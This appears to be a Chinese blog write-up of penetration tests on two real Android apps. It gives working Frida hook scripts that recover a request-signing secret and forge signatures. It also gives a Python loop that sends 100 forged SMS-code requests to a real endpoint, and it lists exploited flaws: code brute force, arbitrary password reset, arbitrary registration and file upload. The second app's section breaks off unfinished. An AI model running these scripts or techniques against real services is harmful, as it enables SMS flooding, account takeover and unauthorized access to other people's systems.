一些真实的app渗透与算法hook

app1

apk文件下载到电脑,adb install 安装到真机上,打开是一个注册页面

一些真实的app渗透与算法hook_第1张图片

真机把SocksDroid打开,随便输个电话号,电脑开charles抓包:

一些真实的app渗透与算法hook_第2张图片

我们放到burp重发器里,改参数重发,不出意外,果然做了签名校验不让改包:

一些真实的app渗透与算法hook_第3张图片
ok,逆一下这个apk,找到算法hook掉就好了,定位一下特征:

一些真实的app渗透与算法hook_第4张图片
一些真实的app渗透与算法hook_第5张图片
这个函数是发送请求的一个函数,我们观察一下这段代码,可以看到我们最终发出去的sign参数的组成是:(时间 + 类型 + 未知字符 + 手机号),并且这个未知字符是这个函数的一个参数,那好办了。
直接hook这个getSmscode函数,看看传来了哪些值,就可以得到这个未知字符,有了这个未知字符我们就可以构建sign

真机开下frida服务端,做一下端口转发:

hook代码:

import frida
import sys
def on_message(message,data):
    print(message)
sess = frida.get_remote_device()
nsess=sess.attach('app名字')
with open('./bk.js') as f:
    script = nsess.create_script(f.read())
script.on('message',on_message)
script.load()
sys.stdin.read()
Java.perform(function(){
    Java.use('com.jx885.library.http.CommAction').getSmscode.implementation=function(aa,bb,cc){
        console.log("hook success");
        console.log("type:"+aa,"key:"+bb,"phone:"+cc);
        return this.getSmscode(aa,bb,cc);
    }
});

hook代码执行监听,手机重新发注册的包,成功监控到:
一些真实的app渗透与算法hook_第6张图片
未知字符找到了,我们用getStringMD5toUpperCase(yyyyMMddHHmmss + i + str + str2) 自己先算一组数据验证下,没有错误:

一些真实的app渗透与算法hook_第7张图片

这回函数需要的参数我们都拥有了,我们直接通过frida的rpc来调用这个函数,直接给我们生成sign , 并简单写个发送请求的脚本,直接实现一条龙。
hook代码:

import frida
import time
import datetime
import requests
url = 'http://xxxxxx/Appapi/Common/getSmscode'
sess = frida.get_remote_device()
nsess=sess.attach('app名字')
phone = '15149029981'
type1 = '1'

def on_message(message,data):
    print(message)


with open('./demo1.js') as f:
    script = nsess.create_script(f.read())
script.on('message',on_message)
script.load()
for i in range(100):
    curr_time = datetime.datetime.now()
    timestamp=datetime.datetime.strftime(curr_time,'%Y%m%d%H%M%S')
    print(timestamp)
    time.sleep(1)
    sign = script.exports.getsign(f'{timestamp}{type1}wocaonima{phone}')
    print(sign)
    dd = '"phone":"{0}","sign":"{1}","currTime":"{2}","type":"1"'.format(phone,sign,timestamp)
    nd = '{'+dd+'}'
    print('hook success:'+nd)
    userjson={'userjson':nd}
  
    talk = requests.post(url=url,data=userjson)
    print("发送成功")
function sign(s){
    var res = '';
    Java.perform(function(){
        res = Java.use('com.jx885.library.http.network.HttpUtils').getStringMD5toUpperCase(s);

    })
    return res
}

rpc.exports={
    getsign:sign
};

第一个漏洞:验证码爆破

一些真实的app渗透与算法hook_第8张图片

结果:
一些真实的app渗透与算法hook_第9张图片

第二个漏洞:任意用户密码重置
结果
一些真实的app渗透与算法hook_第10张图片

第三个漏洞:任意用户注册与手机绑定
结果
一些真实的app渗透与算法hook_第11张图片

第四个漏洞:任意文件上传
结果
一些真实的app渗透与算法hook_第12张图片

app2

同样adb install安装到真机中,打开app,首页就是登录注册页面:

一些真实的app渗透与算法hook_第13张图片
charles加socksdroid抓一个注册的包,并放到burp的重发器中重发看看,发送的信息是加密的,但我这里发现了一个很有意思的一个点,就是每次我们点获取验证码的时候,我们快速重发,会收到短信,感觉应该存在短信轰炸漏洞,只不过加密时有时间戳,导致过了这个时间段就不行了:
一些真实的app渗透与算法hook_第14张图片
一些真实的app渗透与算法hook_第15张图片
我们逆一下这个app,试试找到他的加密算法,

你可能感兴趣的:(python)